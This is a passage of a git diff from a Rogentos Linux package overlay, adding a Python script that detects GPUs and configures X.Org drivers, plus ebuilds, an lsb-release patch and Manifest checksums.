DefaultDepth 24 + + SubSection "Display" + Depth 8 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 16 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 24 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + +EndSection +""" % (device_id_prefix, nvidia_option_prefix, + nvidia_option_prefix,) + +# cmdlines +options = sys.argv[1:] +dryrun = False +noproprietary = False +nvidia_forcefail = False +nvidia_disablelegacy = False +legacy = False +livecd = False +steps = [] +forced_xdriver = '' +current_arch = os.uname()[4] +nomodeset = False +noefi = False + +fglrx_supported = sorted(getoutput( + "modinfo fglrx | grep alias | grep pci | " + "cut -d':' -f 3 | cut -d'*' -f 1 | " + "sed 's/.*1002d//' | sed 's/^0000//' | sed 's/sv$//'" + ).lower().split()) + +nvidia_71xx_supported = ['0020', '0028', '0029', '002c', '002d', '00a0', + '0100', '0101', '0103', '0150', '0151', '0152', '0153'] +nvidia_96xx_supported = ['0110', '0111', '0112', '0113', '0170', '0171', + '0172', '0173', '0174', '0175', '0176', '0177', '0178', '0179', '017a', + '017c', '017d', '0181', '0182', '0183', '0185', '0188', '018a', '018b', + '018c', '01a0', '01f0', '0200', '0201', '0202', '0203', '0250', '0251', + '0253', '0258', '0259', '025b', '0280', '0281', '0282', '0286', '0288', + '0289', '028c'] +nvidia_173xx_supported = ['00fa', '00fb', '00fc', '00fd', '00fe', '0301', + '0302', '0308', '0309', '0311', '0312', '0314', '031a', '031b', '031c', + '0320', '0321', '0322', '0323', '0324', '0325', '0326', '0327', '0328', + '032a', '032b', '032c', '032d', '0330', '0331', '0332', '0333', '0334', + '0338', '033f', '0341', '0342', '0343', '0344', '0347', '0348', '034c', + '034e'] +# Taken from here: +# http://www.nvidia.com/object/IO_32667.html +nvidia_304xx_supported = ['0040', '0041', '0042', '0043', '0044', '0045', + '0046', '0047', '0048', '004e', '0090', '0091', '0092', '0093', '0095', + '0098', '0099', '009d', '00c0', '00c1', '00c2', '00c3', '00c8', '00c9', + '00cc', '00cd', '00ce', '00f1', '00f2', '00f3', '00f4', '00f5', '00f6', + '00f8', '00f9', '0140', '0141', '0142', '0143', '0144', '0145', '0146', + '0147', '0148', '0149', '014a', '014c', '014d', '014e', '014f', '0160', + '0161', '0162', '0163', '0164', '0165', '0166', '0167', '0168', '0169', + '016a', '01d0', '01d1', '01d2', '01d3', '01d6', '01d7', '01d8', '01da', + '01db', '01dc', '01dd', '01de', '01df', '0211', '0212', '0215', '0218', + '0221', '0222', '0240', '0241', '0242', '0244', '0245', '0247', '0290', + '0291', '0292', '0293', '0294', '0295', '0297', '0298', '0299', '029a', + '029b', '029c', '029d', '029e', '029f', '02e0', '02e1', '02e2', '02e3', + '02e4', '038b', '0390', '0391', '0392', '0393', '0394', '0395', '0397', + '0398', '0399', '039c', '039e', '03d0', '03d1', '03d2', '03d5', '03d6', + '0531', '0533', '053a', '053b', '053e', '07e0', '07e1', '07e2', '07e3', + '07e5'] +savage_supported = ['8a20', '8a21', '8a22', '9102', '8c10', '8c11', '8c12', + '8c13', '8c22', '8c24', '8c26', '8c2a', '8c2b', '8c2c', '8c2d', '8c2e', + '8c2f', '8a25', '8a26', '8d01', '8d02', '8d03', '8d04'] +unichrome_supported = ['3108', '3118', '3157', '3343', '3344', '7205'] + +lspci_output = '' +for option in options: + if option == "--dry-run": + dryrun = True + elif option.startswith('--with-lspci=') and len(option.split("=")) >= 2: + option = option.split("=")[1:] + option = "=".join(option) + if option.startswith('"'): + option = option[1:] + if option.startswith("'"): + option = option[1:] + if option.endswith("'"): + option = option[:len(option)-1] + if option.endswith('"'): + option = option[:len(option)-1] + lspci_output = option + elif option.startswith('--forced-xdriver=') and len(option.split("=")) == 2: + forced_xdriver = option.split("=")[1] + +if not lspci_output: + lspci_output = getoutput(lspci+' -mm -n') + +# parse cmdline +with open("/proc/cmdline","r") as f: + cmdline = f.readline().split() +for cmd in cmdline: + if cmd == "noproprietary": + noproprietary = True + elif cmd == "nomodeset": + nomodeset = True + elif cmd == "nvidia=forcefail": + nvidia_forcefail = True + elif cmd == "nvidia=disablelegacy": + nvidia_disablelegacy = True + elif cmd == "legacy": + legacy = True + elif cmd == "cdroot": + livecd = True + elif cmd == "noefi": + noefi = True + elif cmd.startswith("xdriver=") and (len(cmd.split("=")) == 2): + if not forced_xdriver: + forced_xdriver = cmd.split("=")[1] # --forced-xdriver= owns + +def openrc_running(): + return os.path.isfile("/run/openrc/softlevel") + +def systemd_running(): + return os.path.isdir("/run/systemd/system") + +def remove_proprietary_opengl(bumblebee): + if not dryrun: + if not bumblebee: + os.system(""" + mount -t tmpfs none /usr/lib/opengl/ati &> /dev/null + mount -t tmpfs none /usr/lib/opengl/nvidia &> /dev/null + sed -i '/LIBGL_DRIVERS_PATH/ s/.*//' /etc/profile.env + """) + fix_possible_opengl_misconfiguration('xorg-x11') + else: + print("Bumblebee enabled, not deactivating proprietary drivers") + else: + print("I was about to remove proprietary OpenGL libraries") + +def get_kernel_version(): + try: + return int(os.uname()[2].replace(".", "")[:3]) + except (ValueError, TypeError) as err: + print("get_kernel_version: ouch: %s" % (err,)) + return None + +def setup_radeon_kms(): + # Starting from kernel 3.6, we have CONFIG_DRM_RADEON_KMS=y + kver = get_kernel_version() + if kver is None: + kver = 360 # assume new kernel + if not dryrun and kver < 360: + os.system(""" + modprobe -r radeon &> /dev/null + modprobe radeon modeset=1 && touch /tmp/.radeon.kms + """) + else: + print("I was about to modprobe radeon modeset=1") + +def remove_tar_members_from_sys(tarpath): + import tarfile + tar = tarfile.open(tarpath) + for el in sorted(tar.getnames(), reverse = True): + el = "/%s" % (el,) + if os.path.isfile(el): + try: + os.remove(el) + except OSError: + pass + if os.path.isdir(el): + try: + os.rmdir(el) + except OSError: + pass + tar.close() + +def generate_fglrx_steps(videocard, cardnumber, total_cards, bus_id): + print("AMD!") + print("total supported AMD cards: %s" % (len(fglrx_supported),)) + print("supported list:", fglrx_supported) + supported = card_id in fglrx_supported + if supported: + print("fglrx driver supports this card") + # check if nomodeset is enabled for >=3.6.0 kernel + kver = get_kernel_version() + if kver is None: + kver = 360 # assume new kernel + if not nomodeset and kver >= 360: + print("however, nomodeset is not set, though KMS is active," + " defaulting to OSS driver") + supported = False + + if supported: + if noproprietary: + steps.append((drop_kernel_mod, "fglrx",)) + steps.append((setup_radeon_kms,)) + else: + steps.append((fix_possible_opengl_misconfiguration, + "ati")) + steps.append((copy_ati_settings_on_desktop,)) + steps.append((opengl_activate, "ati")) + steps.append((set_xorg_device, "fglrx", + cardnumber, total_cards, bus_id,)) + else: + # video card not supported by fglrx + print("using OSS 'ati' drivers") + generate_generic_steps() + # This works for Mach64, Rage128 + # Radeon and in future RadeonHD driver + steps.append((drop_kernel_mod, "fglrx",)) + steps.append((setup_radeon_kms,)) + +def check_if_driver_is_available(xdriver): + drv_path = "/usr/lib/xorg/modules/drivers/" + xdriver + "_drv.so" + if os.path.isfile(drv_path): + print("check_if_driver_is_available for " + xdriver + ": available") + return True + print("check_if_driver_is_available for " + xdriver + ": not available") + return False + +def check_if_proprietary_driver_system_is_healthy(kernelmod): + rc = subprocess.call(["modprobe", kernelmod]) + if rc == 0: + if kernelmod == "nvidia": + if os.path.exists("/usr/lib/opengl/nvidia/lib"): + print("check_if_proprietary_driver_system_is_healthy:" + " nvidia healthy") + return True + print("check_if_proprietary_driver_system_is_healthy:" + " nvidia NOT healthy") + return False + elif kernelmod == "fglrx": + kver = get_kernel_version() + if kver is None: + kver = 360 # assume new kernel + if not nomodeset and kver >= 360: + print("check_if_proprietary_driver_system_is_healthy:" + " fglrx (ati) NOT healthy, 'nomodeset' boot argument" + " is mising") + return False + if os.path.exists("/usr/lib/opengl/ati/lib"): + print("check_if_proprietary_driver_system_is_healthy:" + " fglrx (ati) healthy") + return True + print("check_if_proprietary_driver_system_is_healthy:" + " fglrx (ati) NOT healthy") + return False + return False + +def deploy_nvidia_xxxxxx_drivers(ver): + if dryrun: + print("I was about to run deploy_nvidia_xxxxxx_drivers" + ", ver: %s" % (ver,)) + return False + + drivers_dir = "/install-data/drivers" + # are they available ? we're on livecd... + if not os.path.isdir(drivers_dir): + print("drivers_dir not available") + return False + + packages = os.listdir(drivers_dir) + _packages = [] + for pkg in packages: + if not pkg.endswith(".tbz2"): + continue + if pkg.startswith("x11-drivers:nvidia-drivers-" + ver): + _packages.append(pkg) + elif pkg.startswith("x11-drivers:nvidia-userspace" + ver): + _packages.append(pkg) + + packages = [os.path.join(drivers_dir, x) for x in _packages] + package_names = ["x11-drivers/nvidia-drivers", + "x11-drivers/nvidia-userspace"] + if not packages: + return False + + from entropy.client.interfaces import Client + _entropy = Client() + + # prepare system + for package_name in package_names: + inst_repo = _entropy.installed_repository() + package_id, result = inst_repo.atomMatch(package_name) + if package_id == -1: + continue + content = inst_repo.retrieveContentIter(package_id) + for myfile, ftype in content: + try: + os.remove(myfile) + except (OSError, IOError): + pass + + if hasattr(_entropy,"destroy"): + _entropy.destroy() + + for package_file in packages: + # remove old garbage - copy over - create module + subprocess.call( + ["tar", "xjf", package_file, "-C", "/"]) + # try to check driver status now + rc = check_if_proprietary_driver_system_is_healthy("nvidia") + if not rc: + remove_tar_members_from_sys(package_file) + return rc + +efivars_loaded = False +def is_efi(): + """ + Return whether the system boots from EFI + """ + global efivars_loaded + + if noefi: + return False + + if not efivars_loaded: + subprocess.call(["modprobe", "efivars"]) + efivars_loaded = True + + return os.path.exists("/sys/firmware/efi") + +def get_vesa_driver(): + """ + Return either "vesa" or "fbdev" as the fallback + vesa-like X driver. + """ + if is_efi(): + # vesa does not work + return "fbdev" + return "vesa" + +def set_xorg_device(xdriver, cardnum, total_cards, bus_id): + if (xdriver not in ("nvidia", "fglrx",)) and \ + (not check_if_driver_is_available(xdriver)): + xdriver = get_vesa_driver() # fallback to vesa + bus_id_mark = "#" + if total_cards > 1: + bus_id_mark = "" + + device_sections.append(""" +Section "Device" + + Identifier "%s%s" + Driver "%s" + %sBusID "%s" + #Option "RenderAccel" "on" + #Option "XAANoOffscreenPixmaps" + #Option "BusType" "PCI" + #Option "ColorTiling" "on" + #Option "EnablePageFlip" "on" + # UseEvents is causing segmentation faults with + # NVIDIA 6xxx, 7xxx and >=275.xx.xx drivers + #Option "UseEvents" "True" + Option "LogoPath" "/usr/share/backgrounds/rogentoslinux-nvidia.png" + +EndSection + """ % (device_id_prefix, cardnum, xdriver, bus_id_mark, bus_id,)) + + my_screen_section = screen_section.replace("__screen_id__", str(cardnum)) + # setup Option AddARGBVisuals + # especially needed for legacy nvidia drivers, but works + # on all of them + if xdriver == "nvidia": + my_screen_section = my_screen_section.replace(nvidia_option_prefix, "") + else: + my_screen_section = my_screen_section.replace(nvidia_option_prefix, "#") + screen_sections.append(my_screen_section) + screen_layout_sections.append('Screen %s "Screen %s"' % ( + cardnum, cardnum,)) + +def opengl_activate(profile, force=False): + if not dryrun: + if not force: + current = opengl_show() + if current == profile: + print("OpenGL profile is already set to: " + profile) + return + subprocess.call(["eselect", "opengl", "set", profile]) + else: + print("I was about to set opengl subsystem to: " + profile) + +def opengl_show(): + return getoutput("eselect opengl show").split("\n")[0].strip() + +def fix_possible_opengl_misconfiguration(profile): + # get current subsystem + current = opengl_show() + if not dryrun: + if (profile in ("ati","nvidia","xorg-x11")) and (profile != current): + if profile == "ati" or profile == "nvidia": + subprocess.call(["umount", "/usr/lib/opengl/" + profile]) + subprocess.call(["umount", "/usr/lib/opengl/" + profile]) + opengl_activate(profile) + else: + print("I was about to fix OpenGL subsystem to: " + \ + profile + " while the current implementation is: " + \ + current) + +def copy_nvidia_settings_on_desktop(): + homes = [] + if os.path.isfile(nvidia_settings): + _homes = os.listdir("/home") + homes += [x for x in os.listdir("/home") \ + if os.path.isdir("/home/" + x + "/Desktop")] + + for home in homes: + try: + + full_home = os.path.join("/home", home) + st = os.stat(full_home) + dest_path = "/home/" + home + "/Desktop/" + \ + os.path.basename(nvidia_settings) + shutil.copy2(nvidia_settings, dest_path) + os.chmod(dest_path, 0o755) + os.chown(dest_path, st.st_uid, st.st_gid) + + if os.path.isdir("/etc/skel/Desktop"): + dest_path = os.path.join( + "/etc/skel/Desktop", + os.path.basename(nvidia_settings)) + shutil.copy2(nvidia_settings, dest_path) + os.chmod(dest_path, 0o755) + + except Exception: + pass + +def copy_ati_settings_on_desktop(): + desktop_files = getoutput( + 'equo query files ati-drivers --quiet | grep ".desktop"').split("\n") + desktop_files = [x for x in desktop_files if os.path.isfile(x)] + print("copy_ati_settings_on_desktop: found files: "+str(desktop_files)) + + for ati_settings in desktop_files: + homes = os.listdir("/home") + homes = [x for x in homes if os.path.isdir("/home/" + x + "/Desktop")] + for home in homes: + try: + full_home = os.path.join("/home", home) + st = os.stat(full_home) + dest_path = "/home/" + home + "/Desktop/" + \ + os.path.basename(ati_settings) + shutil.copy2(ati_settings, dest_path) + os.chmod(dest_path, 0o755) + os.chown(dest_path, st.st_uid, st.st_gid) + + if os.path.isdir("/etc/skel/Desktop"): + dest_path = os.path.join( + "/etc/skel/Desktop", + os.path.basename(ati_settings)) + shutil.copy2(ati_settings, dest_path) + os.chmod(dest_path, 0o755) + except Exception: + pass + +def setup_nvidia_drivers(card_id): + drv_string = '' + done_legacy = False + + drivers_map = ( + ("304", nvidia_304xx_supported,), + ("173", nvidia_173xx_supported,), + ("96", nvidia_173xx_supported,), + ("71", nvidia_173xx_supported,), + ) + for ver, lst in drivers_map: + if card_id not in lst: + continue + print("NVIDIA %s driver selected" % (ver,)) + drv_string = ver + if livecd: + rc = deploy_nvidia_xxxxxx_drivers(ver) + if rc: + print("NVIDIA %s deployed correctly" % (ver,)) + done_legacy = True + break + + if not done_legacy: + drv_string = '[latest]' + print("latest and greatest NVIDIA driver selected or unsupported") + + healthy = check_if_proprietary_driver_system_is_healthy("nvidia") + if healthy: + print("NVIDIA proprietary driver %s is loaded" % (drv_string,)) + + if done_legacy: + os.makedirs("/lib/nvidia/legacy") + with open("/lib/nvidia/legacy/running", "w") as f: + f.write("%s" % (drv_string,)) + + return done_legacy, healthy + +def generate_nvidia_bumblebee_steps(v3dcard, company_id, card_id): + done_legacy, healthy = setup_nvidia_drivers(card_id) + if not healthy: + print("NVIDIA drivers couldn't be loaded, cannot enable bumblebee") + return + + if dryrun: + print("Was about to start bumblebee") + return + + if not livecd: + print("LiveCD mode off, not starting bumblebee service") + return + + # This is used by our Installer + with open("/tmp/.bumblebee.enabled", "w") as f: + pass + + if openrc_running(): + os.system("/etc/init.d/bumblebee start") + elif systemd_running(): + os.system("/usr/bin/systemctl start bumblebeed") + +def generate_nvidia_steps(videocard, cardnumber, total_cards, bus_id): + comp_id, card_id = extract_pci_ids(videocard) + done_legacy, healthy = setup_nvidia_drivers(card_id) + + if healthy: + if done_legacy: + # then activate nvidia opengl subsystem after resetting it + steps.append((opengl_activate, "xorg-x11")) + steps.append((opengl_activate, "nvidia")) + + steps.append((set_xorg_device, "nvidia", + cardnumber, total_cards, bus_id,)) + steps.append((fix_possible_opengl_misconfiguration, "nvidia")) + steps.append((copy_nvidia_settings_on_desktop,)) + + else: + + steps.append((fix_possible_opengl_misconfiguration, "nvidia")) + steps.append((copy_nvidia_settings_on_desktop,)) + steps.append((opengl_activate, "nvidia")) + steps.append((set_xorg_device, "nvidia", + cardnumber, total_cards, bus_id,)) + else: + print("NVIDIA drivers couldn't be loaded, switchting to nv driver") + steps.append((opengl_activate, "xorg-x11")) + +def generate_generic_steps(): + steps.append((remove_proprietary_opengl, bb_enabled)) + steps.append((opengl_activate, "xorg-x11",)) + +def drop_kernel_mod(kmod): + return subprocess.call(["modprobe", "-r", kmod]) + +def extract_pci_ids(videocard_str): + videocard_split = [x.strip() for x in videocard_str.strip().split('"') \ + if x.strip()] + try: + card_id = videocard_split[3].split()[-1].lower().strip("[]") + except IndexError: + card_id = None + + try: + company_id = videocard_split[2].split()[-1].lower().strip("[]") + except IndexError: + company_id = None + + return company_id, card_id + +def extract_vga_cards(lspci_list): + cards = [] + for item in lspci_list: + try: + class_type = item.split()[1].strip('"') + if class_type == "0300": + cards.append(item) + except IndexError: + continue + return cards + +def extract_3d_cards(lspci_list): + # bumblebee support + cards = [] + for item in lspci_list: + try: + class_type = item.split()[1].strip('"') + if class_type == "0302": + cards.append(item) + except IndexError: + continue + return cards + + +# Create videocards list +lspci_out_split = lspci_output.split("\n") +videocards = extract_vga_cards(lspci_out_split) +v3dcards = extract_3d_cards(lspci_out_split) +# Run the program +cardnumber = -1 + +total_cards = len(videocards) +forced_monitor_modes = False +steps = [] +bb_enabled = False +write_config = False + +for v3dcard in v3dcards: + + company_id, card_id = extract_pci_ids(v3dcard) + + if company_id == "10de": + print("NVIDIA Optimus 3D Acceleration detected, enabling bumblebee") + generate_nvidia_bumblebee_steps(v3dcard, company_id, card_id) + bb_enabled = True + +for videocard in videocards: + + # setup card number + cardnumber += 1 + print("Card Number: " + str(cardnumber)) + try: + bus_id = "PCI:%s" % ( + videocard.split()[0].split(".", 1)[0] + ) + except (IndexError,ValueError,TypeError,): + bus_id = None + + if forced_xdriver: + print("You have chosen to force the X driver: " + forced_xdriver) + if forced_xdriver == "fglrx": + if check_if_proprietary_driver_system_is_healthy("fglrx") \ + or noproprietary: + steps.append((opengl_activate, "xorg-x11")) + forced_xdriver = "ati" + steps.append((drop_kernel_mod, "fglrx",)) + else: + steps.append((fix_possible_opengl_misconfiguration, "ati")) + steps.append((copy_ati_settings_on_desktop,)) + steps.append((opengl_activate, "ati")) + + elif forced_xdriver == "nvidia" and (not noproprietary): + generate_nvidia_steps(videocard, cardnumber, total_cards, bus_id) + elif forced_xdriver == "vesa": + forced_monitor_modes = True + else: + generate_generic_steps() + steps.append((set_xorg_device, forced_xdriver, + cardnumber, total_cards, bus_id,)) + write_config = True + + else: + company_id, card_id = extract_pci_ids(videocard) + print("[%s] company_id: %s | card_id: %s" % ( + cardnumber, company_id, card_id,)) + + if company_id == "10de": # NVIDIA + if noproprietary: + steps.append((set_xorg_device, "nv", + cardnumber, total_cards, bus_id,)) + else: + generate_nvidia_steps( + videocard, cardnumber, total_cards, bus_id) + print("NVIDIA!") + write_config = True + + elif company_id == "1002": + generate_fglrx_steps( + videocard, cardnumber, total_cards, bus_id) + write_config = True + + else: + generate_generic_steps() + print("GPU will be automatically detected by X.Org and udevd") + + +# now create the file +for args in steps: + func, args = args[0], args[1:] + func(*args) + +if write_config: + config = xorg_conf_structure.replace( + '__device_section__', + '\n\n'.join(device_sections)) + config = config.replace( + '__screen_section__', + '\n\n'.join(screen_sections)) + config = config.replace( + '__screen_layout_section__', + '\n '.join(screen_layout_sections)) + if forced_monitor_modes: + config = config.replace('#Modes', 'Modes') + + if not dryrun: + with open(xorgfile, "w") as f: + f.write(config) + f.flush() +else: + try: + os.remove(xorgfile) + except (OSError, IOError): + pass + +raise SystemExit(0) diff --git a/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild b/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild new file mode 100644 index 00000000..7ab4534a --- /dev/null +++ b/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild @@ -0,0 +1,39 @@ +# Copyright 2004-2010 Sabayon +# Copyright 2012 Rogentos +# Original Author Fabio Erculiani +# Distributed under the terms of the GNU General Public License v2 + +DESCRIPTION="Rogentos live tool for X.Org video driver configuration" +HOMEPAGE="http://rogentos.ro" +SRC_URI="" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 ppc" +IUSE="" + +RDEPEND="app-misc/rogentoslive-tools" +DEPEND="" + +src_unpack () { + cd "${WORKDIR}" + cp "${FILESDIR}"/gpu-configuration . -p +} + +src_install () { + cd "${WORKDIR}" + exeinto /sbin/ + doexe gpu-configuration +} + +pkg_postinst() { + local xorg_conf="${ROOT}/etc/X11/xorg.conf" + if [ -f "${xorg_conf}" ]; then + echo + elog "Disabling UseEvents option in your xorg.conf if found" + elog "This option is known to cause Segmentation Faults on" + elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx" + echo + # this is quite lame sed, but who cares + sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}" + fi +} diff --git a/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild b/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild new file mode 100644 index 00000000..405d693b --- /dev/null +++ b/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild @@ -0,0 +1,38 @@ +# Copyright 2004-2010 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +DESCRIPTION="Sabayon live tool for X.Org video driver configuration" +HOMEPAGE="http://www.sabayon.org" +SRC_URI="" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 ppc" +IUSE="" + +RDEPEND=">=app-misc/rogentoslive-tools-1.0 + !>sys-apps/gpu-detector-2.6" +DEPEND="" + +src_unpack () { + cd "${WORKDIR}" + cp "${FILESDIR}"/gpu-configuration . -p +} + +src_install () { + cd "${WORKDIR}" + exeinto /sbin/ + doexe gpu-configuration +} + +pkg_postinst() { + local xorg_conf="${ROOT}/etc/X11/xorg.conf" + if [ -f "${xorg_conf}" ]; then + echo + elog "Disabling UseEvents option in your xorg.conf if found" + elog "This option is known to cause Segmentation Faults on" + elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx" + echo + # this is quite lame sed, but who cares + sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}" + fi +} diff --git a/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild b/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild new file mode 100644 index 00000000..f392f733 --- /dev/null +++ b/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild @@ -0,0 +1,37 @@ +# Copyright 2004-2010 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +DESCRIPTION="Rogentos live tool for X.Org video driver configuration" +HOMEPAGE="http://www.rogentos.ro" +SRC_URI="" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 ppc" +IUSE="" + +RDEPEND=">=app-misc/rogentoslive-tools-1" +DEPEND="" + +src_unpack () { + cd "${WORKDIR}" + cp "${FILESDIR}"/gpu-configuration . -p +} + +src_install () { + cd "${WORKDIR}" + exeinto /sbin/ + doexe gpu-configuration +} + +pkg_postinst() { + local xorg_conf="${ROOT}/etc/X11/xorg.conf" + if [ -f "${xorg_conf}" ]; then + echo + elog "Disabling UseEvents option in your xorg.conf if found" + elog "This option is known to cause Segmentation Faults on" + elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx" + echo + # this is quite lame sed, but who cares + sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}" + fi +} diff --git a/sys-apps/gpu-detector/gpu-detector-3.ebuild b/sys-apps/gpu-detector/gpu-detector-3.ebuild new file mode 100644 index 00000000..21aa73f8 --- /dev/null +++ b/sys-apps/gpu-detector/gpu-detector-3.ebuild @@ -0,0 +1,24 @@ +# Copyright 2004-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +DESCRIPTION="Configures your GPU when autodetection fails do to it" +HOMEPAGE="http://www.rogentos.ro" +SRC_URI="" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 ppc" +IUSE="" + +RDEPEND="app-misc/rogentos-live" +DEPEND="" + +src_unpack () { + cd "${WORKDIR}" + cp "${FILESDIR}"/gpu-configuration . -p +} + +src_install () { + cd "${WORKDIR}" + exeinto /sbin/ + doexe gpu-configuration +} diff --git a/sys-apps/lsb-release/Manifest b/sys-apps/lsb-release/Manifest new file mode 100644 index 00000000..abc7cd91 --- /dev/null +++ b/sys-apps/lsb-release/Manifest @@ -0,0 +1,4 @@ +AUX lsb-release-rogentos-version.patch 703 SHA256 715deb445f89ca85f31c079caf94d04603f971dafbbe230479059859523d681a SHA512 5ee0e7eed0410349cf2e9bb25cee7a478f87d607bc57ed1ae3a244d30855d3ec142c4bb683bcb526ec8011dd1d9e804f6126f9f9a78199b8152bca86732da6ef WHIRLPOOL deb30762e1d384d8c842e57ee02f0a581391190e1b88cb76489673a8bc96dafa3e6dc83154155e70223ad5f653d8adf303bda2d37fc86cdba83a9b9274b4d182 +DIST lsb-release-1.4.tar.gz 10769 SHA256 99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172 SHA512 84f6f8794380463587005043f601b7a40190cd9e3409abff7f5ce7658cf029a14346eff87838296d90307192bdeff68cc00480c5c04814da7acdb3e220640fde WHIRLPOOL e8e322f3d5fddf589ae1cdc97d143da907aad418ab6099f79e90e988450a3304c58d483e2ba8c80a9a7093f73af515e6c66a1c33881681bef2da70a35c31c28d +EBUILD lsb-release-1.4.ebuild 773 SHA256 0391bebf0fb76699bd666d2f6615655aca591466a47ad98bcf7e5c667098727c SHA512 eea41f41c75c2f7e82c548bc321d3db83d2d2717028928a93e04a442b8c8a75de69f6bb3140e9915e8b58d6560d57df5ead92e2fb829a5aef4fdb1e89c0b73bc WHIRLPOOL 45db918ca9ec511e90ecb10904a37849299289fbe3f3bbe19ccec9318c853d0f62096058af0f50bd0f6135b885ba8aa41098ac07e342f173f8491b2e63a3a40a +MISC metadata.xml 708 SHA256 0bdba8ef6482035e636154b74110d2218a49c44bd0de4f7f6b13568796803e3f SHA512 4fb6848036e074b4186570b0064e18e77d4d698faf639c3ff77597e73c2787fedc44ba1a4ba187d9325e20f81353674ab6b8e610f69892986fd5a80169c9c51d WHIRLPOOL 1d11dafc2c4c45c9bc941f872f46295f2d678f0c22ec290273fb5677ad40c438013edeb58a0c22090f6b873d23137115ec87b34cbd18c7442d4822e068e89da2 diff --git a/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch b/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch new file mode 100644 index 00000000..ca9933c2 --- /dev/null +++ b/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch @@ -0,0 +1,12 @@ +diff -Nurp lsb-release-1.4.orig/lsb_release lsb-release-1.4/lsb_release +--- lsb-release-1.4.orig/lsb_release 2000-12-15 08:19:16.000000000 +0100 ++++ lsb-release-1.4/lsb_release 2013-02-07 13:57:00.085819790 +0100 +@@ -47,7 +47,7 @@ INFO_LSB_FILE="lsb-release" + INFO_DISTRIB_SUFFIX="release" # - + ALTERNATE_DISTRIB_FILE="/etc/debian_version" # for Debian [based distrib] + ALTERNATE_DISTRIB_NAME="Debian" # " +-CHECKFIRST="/etc/redhat-release" # check it before file search ++CHECKFIRST="/etc/rogentos-release" # check it before file search + + # Defines our exit codes + EXIT_STATUS="0" # default = Ok :) diff --git a/sys-apps/lsb-release/lsb-release-1.4.ebuild b/sys-apps/lsb-release/lsb-release-1.4.ebuild new file mode 100644 index 00000000..2f77b4c9 --- /dev/null +++ b/sys-apps/lsb-release/lsb-release-1.4.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils + +DESCRIPTION="LSB version query program" +HOMEPAGE="http://www.linuxbase.org/" +SRC_URI="mirror://sourceforge/lsb/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 s390 sh sparc x86" +IUSE="" + +# Perl isn't needed at runtime, it is just used to generate the man page. +DEPEND="dev-lang/perl" +RDEPEND="" + +src_unpack() { + unpack ${A} + + cd "${S}" + epatch "${FILESDIR}/${PN}-rogentos-version.patch" +} + +src_install() { + emake \ + prefix="${D}/usr" \ + mandir="${D}/usr/share/man" \ + install \ + || die "emake install failed" + + mkdir -p "${D}/etc" + cat > "${D}/etc/lsb-release" <<- EOF + DISTRIB_ID="Sabayon" + EOF +} diff --git a/sys-apps/lsb-release/metadata.xml b/sys-apps/lsb-release/metadata.xml new file mode 100644 index 00000000..6886884e --- /dev/null +++ b/sys-apps/lsb-release/metadata.xml @@ -0,0 +1,19 @@ + + + + + jer@gentoo.org + Jeroen Roovers + + + This program forms part of the required functionality of + the LSB (Linux Standard Base) specification. + + The program queries the installed state of the distribution + to display certain properties such as the version of the + LSB against which the distribution claims compliance as + well. It can also attempt to display the name and release + of the distribution along with an identifier of who produces + the distribution. + + diff --git a/sys-apps/openrc/Manifest b/sys-apps/openrc/Manifest new file mode 100644 index 00000000..06ab1adb --- /dev/null +++ b/sys-apps/openrc/Manifest @@ -0,0 +1,7 @@ +DIST openrc-0.10.5.tar.bz2 171742 SHA256 27677142a7aa47a1c7e863fd4bce0d092aca7870012812e4f7a690a14f1e242c +DIST openrc-0.11.8.tar.bz2 174860 SHA256 e1f7c5ed98a63178c20f3d023a7d35fe416e8e7db2f0cf78ff346a6d2f7949a9 SHA512 aaea9f1e1d08c367beb6d35bcc1d258eb9d7b71a659c05088f9027b0558aae068b2ad7c221cf8ff8b8950f5a4a5c187ee7b986ce2d475a9e3cccda74d040f780 WHIRLPOOL 69217f13dd05e9a443d906281ada167d6892615eb5db7c372ba535a3d4a21ac3111fad9d54ef06650c3b488b848180bbfe5257dbc83f62f5ecf60724dec2900c +DIST openrc-0.12.4.tar.bz2 131914 SHA256 c4edda2fff4b613f50b9cc265bb457a9ab0170fbc1fe7c26eccd4a5d63b2625c SHA512 14e188e382dfe02037d3e4211fa3265152d5ec92ca491b1e86154c0615583ddfc0a2592ca849ab453068dd60000886e57e7da024036fa58d7474acdbb6b92208 WHIRLPOOL 7bdc2c310ee6e87a439574f377a3c1541a118b4122d098d727f6d4464e9f645e5a4d40bedfc82f401b53e640e78494f74fac94f9b6813eb202cc18d1c5391280 